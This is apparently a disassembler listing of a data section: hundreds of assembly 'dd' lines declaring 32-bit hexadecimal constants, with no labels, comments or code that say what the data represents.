		dd 0F3E1471h, 0E8180F86h, 0E22C0B0Ch, 68CC3F00h, 778C3536h
		dd 197930E0h, 0F3FCCEF6h, 59955F50h, 2F4B0542h,	1A239Fh
		dd 1B585DAAh, 8C024EE8h, 27EEA3BEh, 0B3D944h, 4077EC88h
		dd 0FD00D57Bh, 0CA3D9A7h, 6B7595FFh, 0B64D7E12h, 8D370FC0h
		dd 0B966159Dh, 6522FD2Dh, 29D3FF03h, 0C2BD995h,	14C18511h
		dd 8B1B600Ch, 0B4FB158Dh, 0A895886h, 814E961h, 5D44B8A6h
		dd 47ED8112h, 0E8941C54h, 9E018C1Ah, 76641EFFh,	116855F1h
		dd 12686E0h, 0E8BD6CE1h, 0D9008C17h, 0BE9182D3h, 6921629h
		dd 319D8B0Fh, 24B0E91Ah, 810C1563h, 0A06D86E3h,	750BF97Fh
		dd 0A7852DDBh, 1B11219Fh, 9720568Eh, 1261552Eh,	0BD83D205h
		dd 9C1809B6h, 9947846Ah, 1916F937h, 15683AF8h, 0ECE1B533h
		dd 295EE91Ch, 1816F19Ah, 0B5B60AABh, 255485C7h,	91C51929h
		dd 486018E4h, 906ADFCh,	10E9F578h, 0E130841Dh, 0E9D28913h
		dd 8D5384F0h, 0AA6E4FD4h, 0B70F5507h, 0FF23F1F9h, 76BD3DFEh
		dd 0DB8C6605h, 88E0C3F6h, 8BE18B2Eh, 0CB8078FBh, 61F968E8h
		dd 0D1EC1222h, 4403C1BFh, 49AF20D9h, 165E3340h,	91800F50h
		dd 0C4F2BF04h, 6B9A3F0Eh, 5364E93Ah, 301CE2F4h,	7405DA96h
		dd 0A37636BBh, 0BD033380h, 7E2C6641h, 0BE04BEB0h, 70E6926Fh
		dd 1988A2CEh, 4000F5C8h, 0E4B71025h, 0B60F2F71h, 328B5A37h
		dd 1185C4BAh, 762CCDBDh, 0D8F2B155h, 38F6BFC3h,	4245D525h
		dd 82F4B76Ah, 537C27C1h, 2B095454h, 700B53D8h, 9902770Bh
		dd 7DF31FAh, 0FAA83E9h,	170AF69Ah, 1F89D2EBh, 1F46972h
		dd 556D4BF6h, 0D05179AEh, 8C1CB89Ah, 661D5B1Dh,	9D7D0D80h
		dd 0B6E8D4B9h, 0B5128EA9h, 6A4EDE41h, 64C3017h,	0E9F42389h
		dd 7743922Ah, 0B0255589h, 6BD6756Dh, 0A7670166h, 880FE563h
		dd 634CDD22h, 589678C0h, 0A7F1A2Ah, 0F794A209h,	44609A9h
		dd 48548548h, 16E82258h, 8B9F138Ch, 0F0C709ACh,	0C1374809h
		dd 92F89080h, 1E2DE7B2h, 266037A0h, 4F50835h, 413C610Eh
		dd 293830Fh, 715738A1h,	1CA0181Dh, 41826A2Bh, 0E0DD6BAAh
		dd 0C72E706Fh, 7CBC9824h, 2A09ED08h, 9D7FAACh, 51346E4Bh
		dd 0DE3E9628h, 7A642200h, 76AD636Fh, 4D040748h,	0D9798509h
		dd 25F8B527h, 0C2099BC3h, 6067D2A6h, 4C33D069h,	0F1249463h
		dd 0DEFEA6D8h, 48079801h, 51B5CB7Fh, 0D17DDB25h, 89D230B9h
		dd 810644h, 397F5DDEh, 5EBF6610h, 4007524Ch, 4B24EFC4h
		dd 44389D28h, 0C45FA558h, 8D016015h, 4AD2E531h,	974956AEh
		dd 23563F73h, 7763801Dh, 3AE1C61h, 11DBF912h, 5D4C4BE2h
		dd 0C183F80Bh, 1991211Dh, 46CC1D80h, 7C243C9Bh,	2C12D02Bh
		dd 143047E3h, 2DC681BFh, 6550DC12h, 252947E0h, 6562D185h
		dd 0F4442356h, 18520024h, 0D73DFE1Fh, 0CE8BE425h, 59A4B924h
		dd 75C1819h, 0BDBF3B9Ah, 25E91560h, 653B00FDh, 68A3159Bh
		dd 6B673700h, 0E4FD8098h, 137C7439h, 22BA08h, 8961D11Dh
		dd 595758Dh, 0FBD25B5Fh, 8257051Ah, 0E82313DAh,	290B000Dh
		dd 0CFEECB62h, 580106F0h, 2B6AEAFAh, 0A1C75EF4h, 622EF8C3h
		dd 9D296D3Ah, 801D11BDh, 0F30996FBh, 0E8C0983Fh, 0E9B81884h
		dd 39BC2512h, 2185E400h, 532D40B9h, 7BFD09C1h, 0C68012F0h
		dd 34E91A67h, 18F9FBB9h, 2FFEEC19h, 91E94E24h, 0E42496C8h
		dd 29C0C04Eh, 9723198Dh, 79156A3Ah, 3B851611h, 8204C20Fh
		dd 0B5440456h, 0C7060FE9h, 0C167D85h, 7187D30Bh, 8261373Ah
		dd 0B3A39FAh, 0FBF70160h, 0A8C87F4Ah, 54480626h, 91CAA122h
		dd 412E8B00h, 0E04623C1h, 34FBB03Eh, 4FCD231h, 0B912D186h
		dd 292CB268h, 999B3827h, 83AB6871h, 0BC97878h, 0B5A2A307h
		dd 0E08B32B1h, 0CD60D09h, 2649B105h, 4549FB8Eh,	9D00E0ACh
		dd 95C45D7Eh, 6115A1A7h, 4C14D361h, 0F6122E90h,	1A23D83Ah
		dd 0B9719400h, 5259E70h, 41BD89AEh, 0E7AA400Ah,	1553B34Eh
		dd 37F162C9h, 736280A6h, 0EE4AF898h, 39D25809h,	815237A2h
		dd 0F78C522h, 7EE5F28Fh, 0AEE8C00h, 7AC2F6Ch, 1E21D045h
		dd 0E1B5F116h, 89D08527h, 0D0535195h, 24417F8Dh, 33031101h
		dd 482681B1h, 74891E8h,	8C1CF815h, 0FD0115E4h, 8293B167h
		dd 0AA6675D1h, 0C64072F2h, 0BDD006BDh, 122932F7h, 0F7E90214h
		dd 5717655Ch, 5FF00605h, 18ED1283h, 511EE9FBh, 5E25D470h
		dd 0C25CCD6Dh, 0B90004F8h, 48932D2Fh, 0AE00D9DBh, 0CB650DF6h
		dd 8500F313h, 0A3D133EBh, 12632D09h, 4F25DFh, 0D46E0893h
		dd 8F00CB1Ch, 0ABC53DF5h, 122B11h, 9D90181Dh, 3A0A9F28h
		dd 7CB371Fh, 0A8802317h, 39182994h, 0A80DD62Eh,	6C1982B3h
		dd 6AD50413h, 46A9BF59h, 0A1CF3300h, 0CCA25FB7h, 20C2E200h
		dd 0C5AB572Dh, 0E3920C2Bh, 784347EEh, 17160D2Eh, 18B14B01h
		dd 0D1C4BB4Ah, 13F0136h, 328A74E6h, 4FC07ED3h, 0E4CEA0h
		dd 11FB778Ch, 6780738Dh, 60536D00h, 29DEC4A9h, 70EB002Fh
		dd 9057958Ch, 4D251BCAh, 9B9F619Ah, 49003308h, 0F5ADB7AEh
		dd 3579630Dh, 802140FAh, 0E53D27C1h, 68521C00h,	0EAD7CAE4h
		dd 49DF00D0h, 14254086h, 600F921h, 0E73CB01Ah, 7E2D12D2h
		dd 0FDCE07D1h, 0D5C1B8B9h, 21DD406Ah, 0C9C0AE53h, 7990714Bh
		dd 0B53E9D82h, 0B80024D0h, 92A90E05h, 60227053h, 9C6A603Ch
		dd 20030A66h, 903A8E85h, 406A27E3h, 0BC7840A4h,	81BA1F5Dh
		dd 0AB58DD0Ah, 0FDF45F80h, 0E42C42BFh, 655A1209h, 0E74FB0D0h
		dd 0E1FF0F95h, 8D77CFB9h, 0A5FDE4h, 0FF2B155Fh,	0D3698275h
		dd 683E3100h, 5826D599h, 0D0C700ABh, 7CF40EC6h,	371B10E2h
		dd 0A809CDh, 1A2B9675h,	4529D830h, 0C3035B7Fh, 0B84B19D0h
		dd 8635A8BAh, 2FA46091h, 7BB9B01Bh, 0A2C8894Bh,	3EC5001Dh
		dd 0BFEF4A34h, 0FA7BE0CCh, 67F6F2C4h, 62712E49h, 0CAEAD480h
		dd 3A5F3528h, 9C00CFA5h, 94B81FB7h, 0F10A8C50h,	8348BCFAh
		dd 9F1CEA00h, 3230D63h,	97E4A388h, 9E8009A7h, 1000DE8Dh
		dd 2F8980F4h, 18B1A4D4h, 7E9815C5h, 13886ADBh, 35710256h
		dd 0B6B83257h, 34D0DB80h, 0AC029140h, 69E46DF9h, 67FF800Dh
		dd 82D80Fh, 0CABD4D98h,	0B56410F4h, 551BE707h, 56E0545Eh
		dd 0F67A88h, 2E40C1FFh,	675C0B44h, 0F1D6CE54h, 0AA18600h
		dd 473E7D57h, 79DE0CD5h, 0D1EA4C1h, 3BF2E501h, 0F7551156h
		dd 1F7D67E0h, 8007FDE2h
		dd 2FD74678h, 9003A3E7h, 9634887Fh, 3AD211F8h, 37720901h
		dd 0BAA459CCh, 81574A00h, 0C95B1C82h, 226D0297h, 1F952070h
		dd 53006424h, 6BB409B9h, 3E83C7BCh, 3C0045A4h, 738FE7D1h
		dd 0EA00EB29h, 0F261BFACh, 0AE47E1h, 634D21E0h,	6F93D1C8h
		dd 98170100h, 28998BA3h, 0DACD005Dh, 7F43E23h, 540920E4h
		dd 714DBB6Fh, 631B0558h, 0AB32419Fh, 30020374h,	0A09EF14h
		dd 180C55h, 92858F26h, 2A4600BCh, 7108C290h, 0C828D911h
		dd 94957F2Bh, 47B21D6Ch, 8075035Dh, 9809A2B5h, 72A89F0Ah
		dd 7C861E91h, 50B283F4h, 9EE83620h, 2D03D5ABh, 0EFDBA943h
		dd 0E1681932h, 2B196763h, 0F80C6B71h, 3E8E002Fh, 2C09FEE5h
		dd 2BC71DCFh, 0B1FB0238h, 0D79A4046h, 0C8431C28h, 8510C083h
		dd 875BDACFh, 5C2EC9h, 8E409571h, 0F75D0090h, 1223A28Ch
		dd 5EA6F72h, 0BA887B01h, 74691861h, 269078D0h, 0CFD16DDh
		dd 0DCA3A665h, 0FD382D0Ch, 0C25686h, 214A7257h,	0BBC09C1Fh
		dd 966CC429h, 32DA0D03h, 0B1E2A8C5h, 0A69B00BAh, 244620FCh
		dd 0AD713A08h, 0D944B601h, 56B97EFh, 4EDD2C8h, 0D361DE9h
		dd 838F80B4h, 71CF17Fh,	9A413888h, 0FCAB3A28h, 11842EE5h
		dd 0BC3640C5h, 0BFB212FCh, 0AF4074E5h, 13BB299Bh, 0E7392h
		dd 3BD6C0EFh, 6A07192Ah, 6BCFEF75h, 44C0B074h, 0D3FF03h
		dd 0F0062F24h, 4EB92273h, 0EFDC5918h, 1378E30Eh, 11B5BAAh
		dd 8F829CB5h, 7BFBD8D8h, 50009671h, 0EBFC1DBh, 68CE117h
		dd 0C59F9443h, 7E01F23Fh, 12E07913h, 7E6182F2h,	672A4Ch
		dd 28244170h, 877BD3BDh, 8A4FE928h, 0C32C72FAh,	0F401B98Fh
		dd 50E5DA89h, 0FCF8C165h, 820100EBh, 4F4DC42Ah,	72596507h
		dd 0B8700006h, 0E43C264Ah, 2C9022h, 51482AD9h, 665973F7h
		dd 64729027h, 9D6B0060h, 0C9210B65h, 290B3A3Ch,	918CD832h
		dd 0EB61CA80h, 0C1FB2E2Ah, 0B850E289h, 0C2250108h, 22FE6E58h
		dd 3479471Ch, 496FD6F0h, 0BE00BE11h, 598B7CA3h,	6E600C1h
		dd 12C4C681h, 52030BABh, 0D60AE1BAh, 0F8EAFB26h, 781D2F7h
		dd 254127CAh, 0A7C26013h, 217C7677h, 5F71E206h,	0E8187BEAh
		dd 47DB00C9h, 685AD631h, 79CE0876h, 4832724h, 575B414Eh
		dd 9C818156h, 55C60BDBh, 40F7E15Fh, 87B8907h, 1C4B8BF4h
		dd 85755E8Ah, 0C02A6525h, 0FC65BBE9h, 0B0B7FF00h, 4750A477h
		dd 0CBB812D9h, 0FE317h,	6771E30Ch, 1680A578h, 3BD1C5Bh
		dd 3DDAD797h, 0E3530DC0h, 44047A00h, 0B5705245h, 0F30A3D9Ah
		dd 0EA01BC16h, 0ED64C701h, 0B320A478h, 2CC10129h, 3E49662h
		dd 5904E82Bh, 0C776AC0Fh, 807CCB78h, 923CE04Eh,	0FA233F5Eh
		dd 95571680h, 72AC6914h, 4D2CC070h, 941C21F0h, 0C86ECE40h
		dd 49A0BDh, 3AC8415h, 7933AAF2h, 3D0007F8h, 81C18B46h
		dd 2DD5AED7h, 0A50970E7h, 0B2BC3A58h, 19467Ch, 597542B4h
		dd 2BFBB97h, 31AD8F83h,	2897F88Bh, 2C801B11h, 38EF120Ch
		dd 0B0BB8E02h, 5811B58Bh, 679B9566h, 0E850FEE0h, 3C802096h
		dd 0D318D640h, 8D2F1C53h, 197C0FDh, 866BC567h, 6F16070Dh
		dd 84A89A0Fh, 0DCF39417h, 9B34AF2Ch, 0FFC6BB00h, 43891B6h
		dd 2931BF66h, 0E8D7A86Ah, 9E018C1Dh, 36D2EF4Ch,	0F025F03Fh
		dd 0FE94A8Ah, 0A5D0071h, 0CD1DBB9h, 4C0E0100h, 25392F7Fh
		dd 8FFC508Fh, 5F1A489Eh, 0ECD20F3Bh, 0B2A6C44Ah, 301CF2C8h
		dd 850016FDh, 6A8DCA4Bh, 258B8454h, 0D76389BDh,	0D31B6A7h
		dd 47BF501Fh, 0AF4F300Ah, 13C01AAh, 23192795h, 0C5B5232Eh
		dd 0CD4A60B8h, 803A3C3Bh, 1E022442h, 0BDE400B1h, 2BBEAAC7h
		dd 0C20E67F8h, 127E1644h, 0BE4035E3h, 3F435811h, 89E99B5Bh
		dd 0A549714Ch, 18918197h, 0CC357680h, 90C699Eh,	0D715259Dh
		dd 611C970Ch, 291AA821h, 181A7193h, 0E60D0079h,	627E68E4h
		dd 812D9D89h, 0A1103429h, 4CC20180h, 0B6CB0028h, 9BD1D015h
		dd 5F0E7721h, 60DAA33Fh, 9D8B9734h, 0F41054C1h,	111D36B5h
		dd 0B7E0D1D3h, 3D9039ECh, 0C74B36F8h, 824E648Dh, 30C01988h
		dd 273B34F3h, 0FB8015C1h, 0BF0FC4C2h, 8A92F24Bh, 0F4E82473h
		dd 5E3CB588h, 6E0C00F9h, 4BF0CAD4h, 7683F497h, 88184BBDh
		dd 0DC8A1778h, 2DBDE202h, 81C0605Ch, 0A61B4E6h,	85C77FFEh
		dd 21011424h, 58611h, 0D63FD0BEh, 0D23EE96Eh, 0E025F615h
		dd 66542EB4h, 40CEFC38h, 69E13E84h, 4AA2C005h, 1B22AA0h
		dd 0D51D58EFh, 4C8DECAFh, 3097F5DDh, 97038242h,	4856391Ah
		dd 91FD172Fh, 9BD38018h, 2E7AE1CBh, 1F53D681h, 6EC46565h
		dd 0C76C4D45h, 728B60C7h, 0E2680ED5h, 504B61DAh, 0FDCE88h
		dd 34F6D38Dh, 5B9C1B5Ch, 7BCBA505h, 2AC445B6h, 52F6DC94h
		dd 974620E0h, 0C40C1E00h, 0E953AADAh, 9E045F71h, 52C780E5h
		dd 1D6D94D0h, 0CE686EB8h, 0A017B05Fh, 1444FD4Eh, 0EC638805h
		dd 614C8060h, 252970E6h, 0CD409995h, 0C1B371E4h, 1C9EF87Bh
		dd 3CAA315Dh, 50CB178h,	4D209ECh, 0AC19D511h, 0B8799002h
		dd 4F008C1Dh, 0BD131041h, 6C2886Ch, 0F6024CFh, 0B8E0278Ch
		dd 0AE31E204h, 2EAD6116h, 580F6BFCh, 0B971A69h,	37FE80C6h
		dd 2F0EDBBEh, 9A900ACDh, 56003DF7h, 1622732Ch, 4C53849Ch
		dd 0F92F164Eh, 8C22A156h, 0A04C1441h, 3F608h, 0D3B4DA56h
		dd 94328FCFh, 0DB2F8B95h, 40FB7048h, 7F09B3B8h,	0E48477Ah
		dd 0D20EA28Dh, 2F36564Ch, 74C1E4CDh, 0DE335072h, 0CD705E00h
		dd 0EB67B7C1h, 4990AE01h, 4A818E1Eh, 0DFB8FCF3h, 5B4F618Fh
		dd 67EB8E1Fh, 0A430F6C0h, 5E0450DAh, 0F552D82Bh, 21103FF8h
		dd 0BE047D2Eh, 120DF479h, 0DF1B13B1h, 0C7EE93C0h, 0D80E7105h
		dd 8219E7AEh, 0F1830F56h, 31B50F48h, 9A5E2F90h,	0A625F131h
		dd 0C03134A2h, 1A7F1175h, 36D3CD03h, 0CAA9F6FEh, 8D34E9B0h
		dd 0AED9147Eh, 27BCC149h, 72E55812h, 8E3C714h, 2D06A19Dh
		dd 0B9259E84h, 695188DCh, 6950AD7Bh, 969C01E8h,	0C8284FB4h
		dd 30CE25A9h, 0B24E600h, 8A6BA19Bh, 0F0B66D8h, 25E9C68Ah
		dd 0CD5922E1h, 0AC5AC225h, 40991E36h, 0B775118h, 45B7595Dh
		dd 0E39B2AFEh, 57BB8380h, 80510F94h, 0F6B7D81Dh, 0E2295852h
		dd 604B3014h, 0ED3A80E2h, 0E761B8E2h, 7259CBEEh, 0FC9D4570h
		dd 81015851h, 0E26696F1h, 222E6136h, 0D9825655h, 5F043239h
		dd 9B5F5AB8h, 34C88044h, 20968DBEh, 13B0475Bh, 6606AB9Ah
		dd 608155BFh, 80CF04A8h, 0B96132D0h, 0BC462268h, 0F512DCFEh
		dd 0F708B1E4h, 0C4A8F0Bh, 0DFA61F00h, 6909F162h, 705E0991h
		dd 0C6908292h, 95283446h, 8897AC8Eh, 401144F1h,	221F6C1Ah
		dd 87F0Ah, 6F4817B7h, 219241C1h, 0EE18C832h, 25D77E59h
		dd 1459CB53h, 1690C218h, 9F0214FFh, 4D5B1426h, 34F5E09Bh
		dd 0BF052F55h, 32A40981h, 80626D40h, 549A67h, 96CC4D74h
		dd 8AF858E4h, 5B060502h, 4DC32B17h, 0C553E009h,	609C88Fh
		dd 5378FEE0h, 72189ADh,	3251095Ch, 0C03723A5h, 0BFD0E300h
		dd 0EC80FE38h, 0F0014882h, 49E4F325h, 20DD894Ch, 168F9510h
		dd 0F2C0D04h, 3045C40Bh, 30D39AB8h, 0CBC42B22h,	4D2CB800h
		dd 0C244FE14h, 1D830933h, 7F8767DEh, 0C322485h,	40715856h
		dd 613F5819h, 93D0CFC7h, 24026957h, 4044E83Dh, 82B4ABCCh
		dd 965EDC30h, 41099589h, 21363B12h, 1A2525BEh, 0E916DCDh
		dd 0AC07844Ah, 62BECE6Bh, 7C1A43A5h, 0FD35E981h, 0CAC6709Fh
		dd 20EA6008h, 3252379h
		dd 61D9E88Dh, 3D4B9652h, 625E5C16h, 99409052h, 0C4952D71h
		dd 6F43D21Fh, 5C9C0C02h, 8F2F2E3h, 27A1BD03h, 0A08EA53Ch
		dd 8160F942h, 7E204C8h,	0E9E85C0Ch, 276A0027h, 0B814371Fh
		dd 72D87F2Fh, 0A42401FEh, 80345AEFh, 858BC479h,	1CECA149h
		dd 95B5E57h, 521304C4h,	0A0858D8Bh, 614E5AD5h, 0DD80FE9Bh
		dd 0B1E03F26h, 109B364Eh, 0FD1C3E80h, 890A0168h, 851F5D8Dh
		dd 0DB128A89h, 0F7808004h, 0B9928945h, 17079358h, 23702205h
		dd 0BD79C37h, 3D91358Dh, 7404D883h, 6AE08ADh, 5A02C0A6h
		dd 7C576E2Eh, 1018DC5Dh, 0A5486A7Ch, 258D7B1Dh,	5EC2FAE9h
		dd 121B2CC9h, 11AD9DC1h, 82A38B18h, 0D088ECDCh,	7C3D96E3h
		dd 0D3121546h, 0B843B968h, 7F164CADh, 9D102916h, 496F3AD2h
		dd 1CE53A00h, 0CD8681B2h, 8B67070Bh, 0FEB602F2h, 35905D90h
		dd 340075BFh, 0FABA70D5h, 95060D4h, 5A310F52h, 8F5F5287h
		dd 97868852h, 0CD07A02h, 6691A976h, 5C4EA057h, 5AF1381Dh
		dd 6118B284h, 30B290h, 2E5CF9AAh, 205740Ch, 3E94CBC0h
		dd 0FB40151Eh, 5E810F55h, 23DC3B6Fh, 174E001Dh,	9BEB6209h
		dd 3A56A30Ch, 98294AB2h, 417FB4EFh, 372E2508h, 0EBE4A072h
		dd 0F9332D15h, 890F0A82h, 0A8A138C4h, 80157216h, 0BAF30E7Eh
		dd 0C070009Bh, 0EA66694Ch, 10053E4Eh, 90675BF6h, 28258482h
		dd 0CA102DC0h, 0A2134D1Ah, 0F900F3AFh, 0FFBC4DBh, 1C220071h
		dd 18057CA1h, 5F506798h, 0D71EBFDAh, 0DFA8510Bh, 4E9F5058h
		dd 90FA5731h, 0FCB9D439h, 9B38C86Ah, 68E003AEh,	85599D09h
		dd 0BD3C4AB2h, 97080EA8h, 0BE2EB744h, 0F00877Ch, 3273BC9Fh
		dd 675BB670h, 0F1EAEEF5h, 4B1AADD1h, 215375Dh, 809BEA95h
		dd 0D3FF7840h, 2BF409B7h, 96524E61h, 4C0AD44Fh,	0B8D0F9Ah
		dd 8FBC1027h, 21550E6Eh, 0BAA05AA9h, 594F4BC8h,	0AB45490Ch
		dd 40C1882Fh, 565BE909h, 42126A38h, 0AC765925h,	0EF820139h
		dd 4F943AA8h, 7F40FE08h, 6CB622E5h, 0B40198D8h,	0A200F4B9h
		dd 9B0AECBh, 9A3515B5h,	619D32C9h, 147E5777h, 3425BDC1h
		dd 0DCF45F02h, 0E00B8CC6h, 9056B6F5h, 800888DDh, 0BCFD880Dh
		dd 7025AFA9h, 0ACA84F4h, 0D3E5834Eh, 3559B222h,	0BCDB3948h
		dd 6A040E8Bh, 46E85213h, 0B95CB281h, 99B8E075h,	0BFDA9524h
		dd 0F3B09301h, 184292E9h, 0F18F2009h, 0E13BC6Ch, 4416A7E1h
		dd 6955FF10h, 45A2EFF8h, 55DB808Eh, 0D4289363h,	2449C99h
		dd 4A90CD8Bh, 0A0AD2760h, 1C52E47h, 0C413C97Ch,	231BBA73h
		dd 0B26A007Ch, 0B8EF922Fh, 96720040h, 0DAC97532h, 5F521B3Dh
		dd 2B897074h, 257A1621h, 9B162516h, 0F90DC36Fh,	22CAA7Dh
		dd 0BF0007A5h, 5B641FA3h, 0E9E03511h, 4C1B883h,	4FB834B2h
		dd 5A67A201h, 3DECFD14h, 0DD6841A9h, 6B41768Dh,	420B526Eh
		dd 0A8260AEh, 20929A5h,	7160D92h, 0E3F0D461h, 0EE482Ah
		dd 23BE90F3h, 673E0A80h, 0AAF91450h, 1195D679h,	63236002h
		dd 0EEF8AC03h, 4587BC5Eh, 2CDA876h, 61DA20E8h, 8A265CE9h
		dd 0ADF3B0F8h, 70E6CE21h, 80BA2C51h, 104653BCh,	0B9B8012Eh
		dd 0DE2B6499h, 1F37E4A5h, 0F0A90700h, 8B5E3350h, 71E42BF7h
		dd 0C08F78A5h, 810DC2C8h, 59DD9A16h, 0EF5C802Fh, 0C6F109F4h
		dd 16615A45h, 10E26F1Dh, 8D104E2Ch, 0E7104E12h,	18BA27CBh
		dd 83265571h, 0F1F9C3EAh, 2F181C79h, 0B1EBD01Dh, 4CCE5B02h
		dd 0CC51BFh, 0D2CA6EAAh, 87027283h, 0D792A7B0h,	9FC8D833h
		dd 6025FAB7h, 2DC7F31Fh, 0C18B8EF0h, 2F004BB7h,	93759CDDh
		dd 0E4490506h, 3B2BE0D5h, 11623B9h, 0F9B41ECFh,	0A6804C50h
		dd 634A7700h, 0F1D3369Eh, 29B416E8h, 0ADC2C426h, 39B82Bh
		dd 862D45E3h, 0A978AFE1h, 9675934Eh, 0DA870F9h,	3E12BF1Fh
		dd 0FAB74916h, 803EDA5Eh, 0C79E822Eh, 0C4C0275h, 66F86332h
		dd 0B0FF8160h, 0E086CD95h, 0D03E208h, 0C13C69Ch, 44F00299h
		dd 0CB02000Bh, 7FBFCCEh, 49125DF5h, 71B25360h, 65AADC00h
		dd 399DFDDBh, 0E5A1B2Eh, 0C2832B27h, 70E8DBE2h,	1AB87E84h
		dd 0FB62A0B4h, 3D5160h,	5B8A8E19h, 0B104F39Bh, 61B35DA7h
		dd 5F5226C1h, 0AB174079h, 45A59101h, 53810514h,	0F67C10B9h
		dd 25C4E395h, 0AE502513h, 9F8F17B7h, 9CC651DEh,	0D17E86C9h
		dd 0DA8E8A82h, 0DB171DDEh, 16E0087h, 71852918h,	581343B4h
		dd 0D90C534Bh, 1298B7Eh, 0D980573Dh, 0D858905h,	0C956D620h
		dd 0ADC83027h, 25D8AAAAh, 19401996h, 2DA80D53h,	0FBA55E68h
		dd 8054DFE5h, 357B6012h, 0B777DBFh, 0F5A5D3EAh,	0A437F162h
		dd 0E68C90A5h, 0A99DA01Dh, 0DF81801Fh, 0C8F8AB0Bh, 4A14C409h
		dd 7CD8CA54h, 0C2338D4Bh, 0B57609FEh, 0A3F41769h, 0C198CDA5h
		dd 0C9F94FEBh, 88986D27h, 0BD338511h, 0E9B3D1A1h, 64212B37h
		dd 8D3E34E5h, 0E239221Bh, 0FF5E301Dh, 0F51DE00h, 0E2C96D77h
		dd 7605C7Ah, 7D55F20Fh,	61FEBF82h, 8119AD9h, 780FF3Fh
		dd 0E2028057h, 854BC705h, 215BB690h, 9872608Bh,	0A7CE0DBEh
		dd 0BD525528h, 4A56CD5Fh, 1822738Fh, 0D5BD290Dh, 0F9D9E325h
		dd 0DC3B3735h, 28436D4Fh, 236D2E93h, 2017001Bh,	0AE37696Fh
		dd 66C66402h, 7DDABBBEh, 1D915735h, 25F8C39Fh, 0CC80EA98h
		dd 0AD5D817Bh, 0B50305ECh, 7305118Dh, 488F162Dh, 52C01A88h
		dd 1779A2FFh, 0A04C7A6Bh, 55821A08h, 0A8098D84h, 8E5BDE53h
		dd 0CD5E8211h, 0B103E05Ah, 0B9093A57h, 0A97023ABh, 7EDF7445h
		dd 0D0381846h, 7512028Bh, 0F5709EDBh, 68F20075h, 63CF57ECh
		dd 4A96D14Dh, 42A105DCh, 0EC6F5AE0h, 57601C87h,	85C26198h
		dd 2818963Dh, 1FE91D98h, 87BA427Ah, 0B77D6125h,	0C1FE136Bh
		dd 6CD3E9F0h, 0FDB64A91h, 60338BE1h, 96BC0941h,	44A3475Ah
		dd 49696017h, 203BE335h, 2DCBF738h, 9640FC07h, 7D2EA30h
		dd 69907F98h, 0F70281E5h, 5A256F0Ch, 0E4DE58B9h, 3D9D2523h
		dd 8D21A101h, 0F9A453CDh, 2C4E0E78h, 213BB6C9h,	318A5B0h
		dd 3B334E8Bh, 391A23FFh, 3D64BB00h, 8A4693B5h, 0E183FE09h
		dd 223F8401h, 3E567BFFh, 15C20329h, 6B1C42CBh, 27DBCEAAh
		dd 7A5B23D0h, 0BAB12552h, 90970F50h, 152CC1A2h,	5F924844h
		dd 15F92021h, 0F048EC18h, 61D80A40h, 4674AE60h,	0C9F7001Ch
		dd 8C310934h, 9E7B2EB3h, 8EC46016h, 0D00FE24Fh,	97958B51h
		dd 8C5BFD83h, 0F0760F8Dh, 41D5A7E0h, 0D12D5E01h, 24B435EEh
		dd 0FEA3982Ah, 0F14D2F90h, 319B4EB6h, 0BD7A2280h, 474C620Dh
		dd 27C110D7h, 4B3D5A67h, 1811111Fh, 0EC4C8093h,	2305BACCh
		dd 8B0C971Dh, 0C0BB5854h, 0ABEF1BADh, 886000C9h, 8D1F3D76h
		dd 65499D8Bh, 0DC5B2C8Bh, 0C33D212h, 7ABE8425h,	38C200E1h
		dd 0B50B19EBh, 456A9599h, 83F8792Bh, 4C4819D6h,	0EA4C2912h
		dd 16465C83h, 8BF4C04Ah, 0DEB461D1h, 7E68AA40h,	5C9CBF4Fh
		dd 60057B20h, 7F37385Dh, 5200EC82h, 6F09699Ah, 294FB7h
		dd 472DD78Fh, 8307D1ADh, 59F38100h, 781264A1h, 332700C0h
		dd 4F21E199h, 0B601CFB5h, 9DAC74C1h, 1FDC4B28h,	0BEB00951h
		dd 0BDFC6FC7h, 4EAF7DD8h, 0A464F054h, 0BD80915Eh, 0CAAA5Ah
		dd 728F5DC8h, 6E3CEBFCh, 0E31E9300h, 0F506A18Bh, 0A270010Bh
		dd 8E291363h, 12207F97h, 2FB3A648h, 64E625DDh, 6186C400h
		dd 0E1C65FF9h, 5A30042h, 9E9598CEh, 0D3008760h,	27491E9h
		dd 41C018h, 1BEB432Dh, 0D5EF735Dh, 0CFC9E200h, 3D0BC2B5h
		dd 0B6AD01C7h, 0D82E6F78h
		dd 7A1BD9A0h, 92770920h, 56750013h, 8A818744h, 2900F730h
		dd 11AC96D8h, 0B4C243h,	0D3382FCAh, 22706567h, 0FA768C01h
		dd 53E2D710h, 0F9641580h, 0B09AD82Bh, 1F122C00h, 0F8EB1306h
		dd 0F5BE2F0Ch, 6B6277E1h, 98E1E457h, 0D38C813Fh, 71317F7Bh
		dd 0DAFCD66Eh, 2A21051Ch, 3F076C5h, 3D3058B7h, 888079E9h
		dd 97015750h, 626AF48Fh, 0E5CF9F00h, 0C242798Dh, 0B7A113B2h
		dd 5AE897h, 1CEA99D5h, 932CFE8h, 0A6412B3Ch, 0E922B1F6h
		dd 80198439h, 55B17F18h, 9E13923h, 0CF6A5406h, 0BDFC1309h
		dd 37004A28h, 1591D3CDh, 0D9985Ah, 0E23A2435h, 0D7654F1Fh
		dd 2A14CE75h, 0F90330Bh, 24A41ACh, 48A36137h, 0ED8368h
		dd 1A58AB03h, 0B2A5D530h, 0BE14C618h, 8B9FDCDEh, 0D360FDCDh
		dd 0BF0E96EDh, 26403046h, 0B2A49184h, 0B11BB51Fh, 37CDDE40h
		dd 3ACCA295h, 9003C38h,	705C624h, 90BF2762h, 41D5643h
		dd 0B8733D38h, 5446807Eh, 8800F016h, 2013439Eh,	34AA8469h
		dd 36AA3B4h, 500CCE90h,	6DE4A611h, 59C51C2Fh, 6C8CF91Dh
		dd 0F8C175h, 0A403C713h, 8D822F81h, 2CDCA833h, 9C93D00Fh
		dd 2A6C042h, 0D45ECB6Bh, 16C3913Ch, 0A00F4C36h,	0C81D927Ch
		dd 3302A469h, 8038F73Eh, 4D89C8B1h, 0EB4A0047h,	0E0F10263h
		dd 44957446h, 53B30377h, 71C92E25h, 355DA501h, 0D745642h
		dd 804ECE82h, 0E0E2F185h, 7F212E91h, 72907770h,	0AFC13C41h
		dd 867BB40Eh, 0A51051B8h, 4A00D773h, 1A5FF160h,	7392C8h
		dd 382BB557h, 180B251Fh, 0D3C14228h, 0C9126707h, 7FB4351Ah
		dd 8DD50CFEh, 3C00A74Ah, 2E789957h, 0C691837h, 7470C5BAh
		dd 27BF47ECh, 87A873BFh, 114FFB60h, 22102446h, 445800A6h
